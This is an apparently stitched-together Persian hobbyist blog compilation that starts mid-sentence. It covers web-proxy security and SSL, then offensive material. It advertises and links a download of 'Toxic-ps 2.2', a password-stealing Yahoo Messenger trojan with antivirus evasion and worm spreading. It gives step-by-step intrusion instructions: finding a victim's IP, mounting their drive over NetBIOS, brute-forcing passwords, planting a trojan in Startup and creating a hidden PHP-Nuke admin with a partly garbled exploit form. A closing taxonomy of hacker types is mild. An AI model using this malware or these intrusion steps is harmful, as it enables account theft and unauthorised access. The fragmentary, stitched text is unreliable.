دارد. بسياري از فيلترشكنها امكان زدودن كوكيها و اسكريپتها را در اختيار مي گذارند، اما برخي از سايتها (مثل سرويسهاي ايميل) نيازی کارکردی به آنها دارند. هنگام فعال كردن اين گزينهها بايد محتاط بود. خطر محتمل ديگر به خصوص هنگامي كه با سايت هايي سرو كار داريد كه نيازمند رمز ورود است، اتصال به فيلترشكن از طريق ارتباط متني و پس از آن درخواست اطلاعات رمزنگاري شده است. دراين حالت فيلترشكن اطلاعات را از يك سرور مبتني بر SSL و از طريق يك ارتباط رمزنگاري شده دريافت ميكند اما اين اطلاعات را به صورت متن ساده براي كاربر ميفرستد و اين كار اطلاعات حساس را در معرض آشكار شدن قرار ميدهد.

برخي از اين مسائل امنيتي با استفاده از پروكسي هاي مبتني بر وب از طريق ارتباط رمزنگاري شده، قابل حل است. برخي پروكسي ها براي اتصال از طريق SSL (HTTPS) كه اتصال بين فيلترشكن و كاربر را رمزنگاري ميكند، تنظيم شدهاند. دراين حالت، واسطهها تنها ميتوانند كشف كنند كه كاربر به فيلترشكن مبتني بر وب متصل شده است (آنها نميتوانند محتوا را مشاهده كنند).

در صورتي كه مخاطرات امنيتي زياد باشد استفاده از فيلترشكنهاي مبتني بر وب كه SSL در آنها فعال باشد به شدت توصيه ميشود. با اين همه عليرغم آنكه اتصال كاربر نهايي به فيلترشكن ممكن است امن باشد اما صاحب آن فيلترشكن ميتواند اطلاعاتي كه به كاربر فرستاده ميشود مرور كند. يك مساله امنيتي ديگر پروندههاي ارتباط كاربران با فيلتر شكن است. بسته به موقعيت فيلترشكن يا محل سِرور آنها، ممكن است مسئولاني وجود داشته باشند كه امكان دسترسي به اين اطلاعات را داشته باشند.

حتي در صورت استفاده از فيلترشكنهاي مبتني بر وب كه در آنها SSL فعال است باز هم نگرانيهايي وجود دارد. اولين مورد آن است كه استفاده از رمزنگاري موجب جلب توجه به فعاليتهاي گذر از فيلتر توسط كاربر ميشود. همچنين ممكن است استفاده از رمزنگاري در همه كشورها قانوني نباشد. ثانيا براي مراجع فيلترينگ كشف اينكه كاربر چه وب-سايتهايي را مشاهده كرده است ميسر است و اين امر با استفاده از تكنيكهايي به نام اثرانگشت HTTPS(HTTPS fingerprinting) و حمله به اصطلاح "مرد ميانه" MITM ( Man-In-The-Middle) امكان پذير است. اگر چه، صفحاتي با محتواي ديناميك يا فيلترشكنهايي كه مقداري متن تصادفي را براي ردگمكردن به محتواي درخواست شده ميافزايند و/يا چند تصوير به محتوا اضافه ميكنند باعث ميشود كه اين تكنيك تا حد بسيار زيادي كم مخاطره و مطمئن شود. اگر ”اثر انگشت SSL “ يا امضاي امنيتي براي كاربران مهيا باشد، آنها ميتوانند شخصا نسبت به سنجش اينكه گواهينامه(Certificate) و اينکه قابل اعتماد هست يا نه اقدام كنند. اگر معتبر باشد، جلوي حمله MITM را خواهد گرفت. ( براي اطلاعات بيشتر در مورد حملات احتمالي به سيستمهاي فيلترشكن مقاله زير را ببينيد:

”فهرست نقاط ضعف احتمالي در سيستمهاي عبور از سانسور اينترنت “ نوشته بنت هاسلتونBennett Haselton كه در آدرس زير موجود است: List of possible weaknesses in systems to circumvent Internet censorship http://peacefire.org/circumventor/list-of-possible-weaknesses.html

و نيز جوابيه پل بارانوفسكي Paul Baranowski در

http://www.peek-a-booty.org/pbhtml/downloads/ResponseToLopwistcic.pdf

http://peacefire.org/circumventor/list-of-possible-weaknesses.html] et à la réponse de Paul Baranowski (pdf) : http://www.peek-a-booty.org/pbhtml/... ]].

ssl

SSL چيست:

Secure Socket Layer , يا همان SSL يک تکنولوژی استاندارد و به ثبت رسيده برای تامين ارتباطی امن مابين يک وب سرور و يک مرورگر اينترنت است. اين ارتباط امن از تمامی اطلاعاتی که ما بين وب سرور و مرورگر اينترنت ( کاربر) انتقال ميابد , محافظت ميکند تا در اين انتقال به صورت محرمانه و دست نخورده باقی بماند. SSL يک استاندارد صنعتی است و توسط مليونها وب سايت در سراسر جهان برای برقراری امنتيت انتقال اطلاعات استفاده ميشود. برای اينکه يک وب سايت بتواند ارتباطی امن از نوع SSL را داشته باشد نياز به يک گواهينامه SSL دارد.

زمانيکه شما ميخواهيد SSL را بر روی سرور خود فعال کنيد سؤالات متعددی در مورد هويت سايت شما ( مانند آدرس سايت ) و همين طور هويت شرکت شما ( مانند نام شرکت و محل آن) از شما پرسيده ميشود. آنگاه سرور دو کليد رمز را برای شما توليد ميکند , يک کليد خصوصی (Private Key) و يک کليد عمومی (Public Key). کليد خصوصی به اين خاطر , اين نام را گرفته است , چون بايستی کاملا محرمانه و دور از دسترس ديگران قرارگيرد. اما در مقابل نيازی به حفاظت از کليد عمومی نيست و اين کليد در قالب يک فايل درخواست گواهينامه يا Certificate Signing Request که به اختصار آنرا CSR ميناميم قرارداده ميشود که حاوی مشخصات سرور و شرکت شما بصورت رمز است. آنگاه شما باسيتی که اين کد CSR را برای صادرکننده گواهينامه ارسال کنيد. در طول مراحل سفارش يک SSL  مرکز صدور گواهينامه درستی اطلاعات وارد شده توسط شما را بررسی و تاييد ميکند و سپس يک گواهينامه SSL برای شما توليد کرده و ارسال ميکند.

وب سرور شما گواهينامه SSL صادر شده را با کليد خصوصيتان در سرور و بدور از دسترس سايرين مطابقت ميدهد. سرور شما آنگاه امکان برقراری ارتباط امن را با کاربران خود در هر نقطه دارد.

نمايش قفل امنيت SSL:

پيچيده گيهای يک پروتکل SSL برای کاربران شما پوشيده است ليکن مرورگر اينترنت آنها در صورت برقراری ارتباط امن , وجود اين ارتباط را توسط نمايش يک قفل کوچک در پايين صفحه متذکر ميشود.

و در هنگامي كه شما روي قفل كوچك زرد رنگي كه در پايين صفحه IE نمايش داده ميشود دوبار كليك ميكنيد باعث نمايش گواهينامه شما به همراه ساير جزئيات مي شود.

گواهينامه های SSL تنها برای شرکتها و اشخاص حقيقی معتبر صادر ميشوند. به طور مثال يک گواهينامه SSL شامل اطلاعاتی در مورد دامين , شرکت , آدرس , شهر , استان , کشور و تاريخ ابطال گواهينامه و همينطور اطلاعاتی در مورد مرکز صدور گواهينامه که مسؤول صدور گواهينامه ميباشد.

زمانيکه يک مرورگر اينترنت به يک سايت از طريق ارتباط امن متصل ميشود , علاوه بر دريافت گواهينامه SSL ( کليد عمومي) , پارامترهايی را نظير تاريخ ابطال گواهينامه , معتبر بودن صادرکننده گواهينامه و مجاز بودن سايت به استفاده از اين گواهينامه نيز بررسی ميکند و هرکدام از موارد که مورد تاييد نباشد به صورت يک پيغام اخطار به کاربر اعلام ميدارد.

براي ثبت يك امضاي الكترونيكي رايگان به سايت زير مراجعه كنيد : iranssl.com

در آوردن IP بدون برنامه

   اسم اين برنامه خط فرمان است.    

    که در همه ويندوزها با نام   Command Prompt وجود دارد.براي باز کردن اين برنامه در قسمت

RUN     در استارت کافي است نامش رو تايپ کنيد و بعد OK رو بزنيد.

    وقتي می خواهيد کسي رو هک کنيد به اون PM  بديد. بعد Command Prompt رو باز کرده و

    فرمان Netstat –n رو تايپ کنيد و بعد اينتر بزنيد.(توجه : بين Netstat و  -n فاصله وجود دارد.)

       تذ کر: بهتره که وقتي مي خوايد I P  کسي ديگه رو پيدا کنيد پنجره اي بجز PM باز نباشد چون بعدآ گيج مي شيد.

    قسمت اول زير خط Local Address  يک I P مشخص نوشته شده است اين I P متعلق به شما

     است.   مثل   192.151.22.162:510۱

    قسمت دوم زير خط Foreign Address ممکن است چند I P نوشته شده باشد.يکي از آنها I P  

    طرف مقابل است. مثل     205.157.33.21:5050

    شما توجه داشته باشيد که عدد قبل از : (دونقطه) I P است و عدد مثلا چهار رقمي بعد از : پورت باز است يعني در اينجا عدد 205.157.33.21   I P  است و 5050 پورت باز.

   حالا هر I P   که باپورت مثلا 5050  وارد شده باشد در حال چت خصوصي با شماست.

   البته پورت سرور هم همينطوره . ولي I P   سرور با عددي دو رقمي شروع مي شود.

   شما بايد در اين زمينه تمرين کنيد تا با I P   آشنا شويد.

   تذ کر: اگر طرف مقابل شما از Fire Wall استفاده کند شما نمي توانيد به کامپيوتر او نفوذ کنيد

   چون Fire Wall ها دائم پورت را عوض مي کنند و در ها را به روي شما مي بندند.

   تذکر: گاهي اوقات که در پيدا کردن پورت مشکل داريد مي تونيد از کاراکتر ستاره بجاي

   پورت استفاده کنيد.

 

Toxic-ps 2.2

Toxic-ps 2.2 با قابلیت کار کردن در یاهو مسنجر های 5 و6 و7 و هزار جور قابلیت جالب دیگه ! مجانی مجانی ! مخفی  مخغی ! خوب خوب ! عالی عالی !
می تونید از اینجان داونلودش کنید :  Download

1-فرستادن پسورد  به 2 صورت بسیار : الف - به E-mail شخص می فرسته .    ج-از روش ارسال به یک صفحه ی پویای وب (مثل   Asp یا Php ) پسورد رو می فرسته

2-رد شدن از فایروال که برای اینکار از مکانیزم های بسیار پر قدرتی که خودم کشفشون کردم استفاده می کنه .

3- فابلیت غیر فعال کردن فایروال و آنتی ویروس .

4- عدم شناخته شدن توسط آنتی ویروس.

5-حجم بسیار کم (14 کیلو بایت ) .

6-فرستادن پسورد بدون تغییر توپی .

7-فرستادن پسورد به روش OnTime طوری که بعد از اینکه ویروس تو کامپیوتر هدف اجرا شد اگه یاهومسنجر آنلاین باشه بلافاصله پسورد و آی دی رو می فرسته .

8-ارسال یوزرنیم ویندوز.

9-مخفی موندن در  TaskManager .

10- استارت آپ مخفی در Msconfig

11-غیر فعال فعال کردن Msconfig  به این گزینه احتیاجی نیست .

12- غیر فعال کردن Registry .

13-غیر فعال کردن Save Password در یاهو مسنجر .

14-کار کرد در یاهو مسنجرها   5 و 6 و 7 !!!

15-پیغام خطای قلابی .

16-امکان انتخاب آیکون فایل .

17-کارکرد سرور با پسوندهای  exe,bat,scr,pif,cmd

18-امکان تبدیل شدن به یک Worm که خودش رو در فلاپی ها کپی می کنه . از این ویژگی که یکی از جالبترین فابلیت ها این پسورد سندر هست می شه تو تایپ و تکثیری ها استفاده کرد . من خودم با این روش کلی Id + Password  گیرم اومد .

19 - یک امکان بسیار جالب این Password Sender این هست که اگه دو تا سرور با E-mail های مختلف  تو یک کامپیوتر باشن بطور کامل کار می کنن ! .

20- قابلیت خیلی ابتکاری و جالب دیگه ی Toxic-Ps 2.2  اینه که شما می تونید در قسمت های E-mail و Through a link و اسم ورم از user% و pass% استفاده کنید . مثلا اگه این رو تو قسمت E-mail بنویسید :[e-mail]% یوزر نیم و پسورد ها به E-mail کسی که هک شده فرستاده می شه . بطور کلی user% بيانگر  يوزرنيم ID کسی هست که هک شده و pass% هم بيانگر رمز ID  کسی هست که  هک شده .

۲۱- و کار کردن در سيستم های  Limited  

ایمیل 1 ترا بایتی

سلام دوستان
اول از همه حجم ها رو برای شما توضیح میدم.

البته همه میدونین برای درک عمق فاجعه مینویسم:

به ترتیب بیت
۸ بیت = ۱ بایت
۱۰۲۴ بایت = ۱ کیلو بایت KB
1024 کیلو بایت = ۱ مگابایت MG
۱۰۲۴ مگا بایت = ۱ گیگا بایت GB
۱.۲۴ گیگا بایت = ۱ ترابایت TB

حالا ایمیل یاهو را بررسی می کنیم که حجمی که برای Inbox می دهد ۱ GB یا 1024 MB هست که حجمی هنگفت و زیاد محسوب می شود! و سرور جیمایل هم که ۲ GB می دهد!
حالا کسی ایمیل ۱ TB میخواد؟

هر کی ایمیل ۱ TB می خواد اینجا کلیک کنه

آموزش هک سایت

سلام

خیلی ها دوست دارن سایت هک کنن ولی به علتهای مختلف یا نمیتونن وقت بزارن روش یا سایت امنیتش بالاست یا فرد دانش هک کردن رو نداره و... حالا در این درس به آموزش چندین روش برای آموزش هک متداول ترین فروم که PHP-Nuke است بپردازیم.
اول باید خصوصیات سایت را بررسی کنید و اولین خوصوصیات ضروری پی اچ پی نوک بودن آن هست! به روش های مختلف هک کردنه یوزر ادمین یا ساختن ادمین مخفی را یاد بگیرید.
در هر سایت نوک یک فروم قرار دارد و همینوطور که میدانید در فروم یک یا چند نفر به cp (مخفف کنترل پانل) دسترسی دارند. شاید از همین فکر چیزی فهمیده باشید. پس در هر تالار چندین کاربر (user) وجود دارد (بستگی به کیفیت تالار دارد) و مدیر هم در بین این کاربران هست و نا کاربری او فاحش هست و می توانید آن را به راحتی ببینید.با این توضیح شما دو روش را برای هم حدس زدید. درسته ! می گن هک سایت سخته ولی اونقدرا هم سخت نیست حتی با ماجیک هم میشه سایت هک کرد! پس فعلا با ماجیک هک می کنیم تا برسیم به جاهای پیشرفته! حالا بايد به سيستم طرف براي نصب تروجان نفوذ كنيد و نت بايوس بهترين راه هست!
نفوذ به سيستم از طريق NetBios
-------------------------------------------
با یاد گیری این مقاله شما میتونید یک درایو از سیستم قربانی رو به وسیله نت بایوس Share کنید و هر کاری که خواستید توی اون درایو انجام بدید ( فایل بذارید ، بردارید ، پاک کنید و ... ) البته من این مقاله رو به صورت تصویری هم تو سایت گذاشتم ، می تونید دانلود کنید.
خب بریم سره موضوع اصلی:
اول باید IP سیستم مورد نظر رو پیدا کنید ( تو سایت قبلا اموزش دادم ) ، بعد از منوی Start قسمت Run برید و تایپ کنید CMD. بعد از اینکه وارد CMD شدید این دستور رو بنویسید:
Net use x: \\IP\DriveName$
به جای X میتونید هر حرفی رو بنویسید به غیر از حروفی که اسم درایو های خودتون هست.مثلا اگه درایو G داشته باشید ، از حرف G نمیتونید استفاده کنید. به جای IP هم ای پی مورد نظر رو که می خواهید بهش نفوذ کنید رو بنویسید. به جای DriveName هم اسم درایو رو بنویسید. اگه مثلا میخواهید درایو C رو Share کنید ، حرف c رو بنویسید.یک نمونه از دستور رو ببینید:
Net use x: \\80.191.191.39\c$
اگه کمی شانس داشته باشید بدون در خواست User Name و Password درایو Share میشه و این پیغام رو مینویسه: The command completed successfully اما اگه از شما در خواست یوزر نیم و پسورد کرد به جای یوزر نیم کلمه Administrator رو وارد کنید که برای ویندوز XP و 2000 تعریف شده است ( البته معمولا تو یه خط یوزر نیم رو میده ).پسورد هم میتونید با یه برنامه مثل بروتوس( Brutus ) پیدا کنید.
اگه شما درایوی رو Share کرده باشید که ویندوز قربانی هم تو همون درایو نصب شده باشه ، می تونید سرور یک تروجان رو تو پوشه Startup تو قسمت Start Menu کپی کنید و منتظر باشد قربانی ریستارت کنه تا فایل سرور اجرا شه و شما به راحتی با تروجان به سیستم وارد بشید. ( یادتون باشه که سرور رو فقط کپی کنید چون اگه اجرا کنید در واقع تو سیستم خودتون اجرا کردید ) (نويسنده : فرشاد عزيز)
حالا که یک تروجان در ستارت آپ طرف کپی شد و پسورد او را دریافت کردید.....
هر کاربر در هنگام ثبت نام در هر تالاری در سایت های نوک باید به اجبار ایمیلی برای خود انتخاب کند که پسورد انتخاب شده به آن ایمیل ارسال شود. ایم خودش یک باگ امنیتی هست و لازم نیست که حتما اکسپلویتی جولوی شما باشد! (ولی بعد از این روش با اکسپلویتی برای هک نوک هک آشنا می شوید)خوب به قسمت (رمزعبور را فراموش کردم) یا ( Forget PassWord ) بروید و ایمیل طرف را وارد تا پسورد فرستاده شود. (این عمل در صورتی اتفاق می شود که نام کاربری بوسیله ی یک ایمیل پشتیبانی شود که در اغلب فروم ها اینجوری هست) حالا که پسورد کاربر مدیر و یا همان شناسه مدیر را گرفتید به منطقه ی کنترل (کنترل پانل) نفوذ کنید و شناسه ی حای را پاک کرده و شناسه ای بسازید و index را عوض کنید. قبل از اینکه ورود به کنترل پانل را به شما یاد دهیم بهتر استروش دیگری برای ساخت ادمین مخفی ( hide admin ) یاد بگیریم! اول باید بفهمیم که نوک چیست؟
پی اچ پی نوک انواع مختلفی دارد که از سال ۲۰۰۱ به ورژن های مجانی تبدیل شد و برای همین شهرت زیادی پیدا کرد در ابتدا تیم های آمریکایی و پاکستانی ورزن های ۶.۸ . ۶.۹ را مجانی کردند و ایرانی های عزیز نیز برای هموطننانشان از ورژن ۷.۳ تا ۷.۸ (آخرین نسخه) را ترجمه کردند و نوک های فراسی را بوجود آوردند. مثل گروه معروف IranNuke
این اکسپلویت هم به شما کمک می کند که در کنترل پانل سایت نوک وارد شوید و شناسه ی مدیرتی برای خود بسازید. این اکسپولیت برای نوک ۷.۳ تا ۷.۷ هست و نوک ۷.۸ را فقط اگر روی لکال هاست باشد هک می کند.

http://www.sitename.com/admin.php"> USERNAME:
NOME:
PASSWORD:
E-MAIL:

خوب در قسمتی از کد نوشته شده: http://www.sitename.com/admin.php
به جای sitename نام سایت را بنویسید و آن را با پسوند html ذخیره سازید.
به این صورت : exploit.html
حالا روی آن کلیک کنید و صفحه ای همانند صفحه ی عضویت در آن تالار باز می شود! (حالا بستگی دارد که چه چیز هایی از شما درخواست کند) حالا آن را که پر کردید در زیر آن Create Admin را کلیک کنید و مستقیما به http://www.sitename.com/admin.php میرید و اونجا با یوزری (شناسه ایی) که ساختید وارد شوید! حالا شما هم سایت پی اچ پی نوک هک کردید!

موفق باشید

هکرها و دسته بندی حملات آنها

انواع هکرها:

1- گروه نفوذگران کلاه سفید: (white hat hackers) : هر کسی که با دانش خود بتواند از سد موانع امنیتی یک شبک بگذرد و به داخل شبکه راه پیدا کند اما اقدام خرابکارانه ای انجام ندهد را یک هکر کلاه سفید می خوانند. خب حتما می گویید عجب ترجمه سختی ما که هیچ نفهمیدیم. عجله نکنید. اینم مثال راحتش. تصور کنید دانشجویی که در یک دانشگاه درس می خونه و می دونه تمامی لیست حضور و غیاب و نمرات دانشجوها در کامپیوتری در اتاق شبکه دانشگاه قرار داره. حالا این دانشجوی کنجکاو ما برای اینکه سر و گوشی آب داده باشه مدتها روی شبکه دانشگاه کار می کنه و از راه های مختلف( که خارج از بحث و حوصله این مقاله است و اگر بخوام راستش رو بگم میشه 100 ها کتاب راجعش نوشت) وارد اون شبکه میشه. یعنی به طور معمول هیچ دانشجویی حق نداره بتونه نمراتش رو ببینه ولی این پسر ناقلای ما یه جورایی وارد شبکه میشه و نمراتش رو می بینه و همچنین حضور و غیابش رو. خب این پسر ناقلا یک هکره. چون این پسر ناقلا فقط نمرات رو می بینه و دست کاری نمی کنه(لابد وجدانش اجازه نمی ده) یک هکر کلاه سفید میشه.
به عنوان مثالی دیگر هکرهای کلاه سفید متخصصین شبکه ای هستند که سوراخهای امنیتی شبکه را پیدا می کنند و به مسوولان گزارش می دهند. مثلا این دانشجوی ناقلا می تونه بره به مسوول شبکه بگه که چطوری وارد سیستمش شده( چون حتما یه ضعفی داشته دیگه) بعدش اونا هم بهش قاقالیلی میدن!

2-گروه نفوذگران کلاه سیاه (Black hat hackers) : به این گروه کراکر –Cracker- می گویند. این افراد آدمهایی هستند که با دانشی که دارند وارد کامپیوتر قربانی خود شده و به دستکاری اطلاعات و یا جاسوسی کردن و یا پخش کردن ویروس و غیرو می پردازند( در انتهای همین مقاله انواع راه های نفوذگری بحث شده). مثلا همون دانشجوی ناقلای مثال بالا اگر بره داخل شبکه و نمراتش رو عوض کنه و به خودش همش بیست بده و یا ایمیل دختر رییس دانشگاه رو از اون تو کش بره و نامه نگاری عاشقانه راه بندازه و یا اصلا روی تمام سیستمهای دانشگاه ویروس بندازه دیگه میشه یک کراکر. پس آقایون و خانومها دانش یک شخص می تونه در جهت مثبت به کار بره یا منفی. لب کلام اینکه اگر اون شخص آدم خوبی بود و تو شبکه دست کاری نکرد بهش میگن کلاه سفید اگر شرور بود و عشق خرابکاری بهش می گن کلاه سیاه. مثل یه آدمی تصور کنید که کشتی گیره. اگر هوای ضعیف ضعفا رو داشته باشه بهش میگن پهلوون اما اگر قلدر بازی واسه همه در بیاره مردم بهش می گن لات و چماق کش!

3-گروه نفوذگران کلاه خاکستری (gray hat hackers) : خب شاید سخت ترین کار توصیف حوزه این گروه از نفوذگرهاست. به این نفوذگرها بعضا whacker هم می گویند( البته زیاد مصطلح نیست فقط برای اطلاع بدانید). این گروه از نفوذگرها بنا به تعریفی حد وسط دو تعریف گذشته هستن. یعنی گاهی شیطنت می کنن و توی سیستم خرابکاری می کنن و گاهی خرابکاری نمی کنن! یعنی اینکه هم کلاه سفیدن هم کلاه سیاه واسه همین رنگشون رو قاطی کردن شده خاکستری! بنا به تعریف دیگه کلاه خاکستری ها شیطونی هاشون هم عامه پسنده یعنی اگر بخوان خرابکاری کنن در جهت اطلاع عموم انجام میدن و به قول معروف فی سبیل الله و برای مردم. مثلا اون دانشجوئه مثال بالا اگه بیاد یه نسخه از لیست حضور و غیاب رو به ایمیل تمام دانشجویان دیگه بزنه و بگه برید حالا حالش رو ببرید و ببینید هرکی چقدر غیبت داره و نمره تحقیقش چند شده.

4- گروه نفوذگران کلاه صورتی ( pink hat hackers): خب این دسته بندی به ندرت دیده شده و اکثر مواقع کلاه صورتی ها رو جزیی از کلاه سیاه ها می دونند. به زبان شیرین فارسی اینها همون جوجه هکرها هستند! این افراد آدمهای کم سوادی هستند که فقط با چند نرم افزار به خرابکاری و آزار و اذیت بقیه اقدام می کنن. مثلا شماها رو توی مسنحر یاهو بوت می کنن و یا توی چت رومها خرابکاری می کنن و یا با نرم افزارهای آماده ایی مثل ساب سون و غیرو اقدام به هک کردن بقیه می کنن و از این قبیل. بنابراین به کلاه صورتی ها می گیم جوجه هکر!

 

انواع حمله هکرها:
- استراق سمع (interception) : در این روش نفوذگر موفق شده که در حین تبادل اطلاعات گوش کند. وی مخفیانه این اطلاعات را مورد نظر داشته و اطلاعات مورد نیاز را برای خودش نسخه برداری می کند. تکنیک ها و روش های بسیاری را هکرها در استراق سمع به کار می برند که یکی از آنها همان sniff بود که در مقاله چند روز قبل کوتاه به آن اشاره کردم. بگذارید مثالی بزنم تا 2 زاریتان کاملا بیفتد. شما در حال مخ زدن در روی اینترنت هستید و شبهای متمادی وقت گذاشتید مخ این دختره رو بزنید و شمارش رو بگیرید. در حال چت کردن هستید که بالاخره عروس خانوم شماره رو به شما میده و شما خوشحال که فردا حتما بهش زنگ می زنید. اما شمای بدبخت نمی دونید که یه هکری ناقلایی کامپیوتر شما رو زیر نظر داره و کلیه چت های شما و اون خانوم رو داره می بینه. اون هکره داره استراق سمع می کنه. حرفاتون براش دلچسب نیست ولی به محض دیدن اون شماره تلفن براش جالب توجه میشه! اینکه شماره تلفن رو یادداشت می کنه و فردا زنگ می زنه به دختره و همون صبحش قرار می گذاره و عشق و حالی که نگو. سر بدبخت شما هم کلاه میره. این جوریاس دیگه. باید زندگی کرد!!!
- دستکاری اطلاعات (modification ): نفوذگر عزیزمون موفق به تغییر اطلاعات میشه. در اینجا بدون اطلاع از قربانی بدبخت, هکر ما اطلاعات رو تغییر میده. مثلا یکی بیاد و بره داخل لیست نمرات یک دانشگاه و نمراتش رو همچین یک حال اساسی بهشون بده و معدلش از 13 بشه 18!

- افزودن اطلاعات و جعل ( fabrication ): در این روش نفوذگر اطلاعات رو به سرقت نمی بره و یا جایگرین نمی کنه بلکه به اطلاعات فقط اطلاعات دیگری رو اضافه می کنه. مثلا فرض کنید مدیر شرکتی نامه ای می زنه به مسوول خرید و لیست خریدی برای شرکت میده. حال شما که هکر بسیار زرنگی هستید این نامه رو جعل کرده و یه سری چیزها بهش اضافه می کنید مثلا می نویسید که خرید یک میز جدید برای آقایی که خودتون باشید! و بعد نامه رو می فرستید برای مامور خرید. مامور خرید بی نوا هم میره لیست رو تهیه می کنه. به واقع شما در اینجا اطلاعات حاوی اون نامه رو همون طور که هست می گذارید باشه ولی بهش مطالب جدید هم اضافه می کنید. هرچند می شه این اقدام رو در زیر شاخه modification آورد اما میگم شما زیاد درگیر گروه بندی نشید بلکه مفهوم رو متوجه بشید که به واقع هدف اصلی این مقاله همینه.
- حمله از نوع وقفه ( interruption): در این نوع حمله هکر باعث اختلال در شبکه و تبادل اطلاعات میشه. تکنیک های بسیاری وجود داره برای هکرها اما 2 مثال بسیار مشهود که نتیجه اش برای یک وبگرد به وضوح مشخصه و در نتیجه همین حملات صورت می گیره یکی در چت رومهاست که گاهی می بیند کسی کامپیوتر سرور چت رو وقفه می ندازه و دیگر شما قادر به چت در آن چت روم نیستید و یا اینکه حتما شنیده اید وقتی هکری به یک سایت حمله کرده و باعث کندی آن سرور شده و این باعث می شود که اگر سایت در عرض 5 ثانیه می بایست در مرورگر شما ظاهر شود یا اصلا قابل بارگزاری نیست (سایت به قول معروف لود نمی شود) و یا اینکه بعد از مثلا 1 دقیقه ظاهر می شود. اینگونه حملات بلای جان کسانی است که مسوول یک سایت و یا شبکه هستند چرا که کندی شبکه همانا و سر و صدای مدیر در آمدن همانا.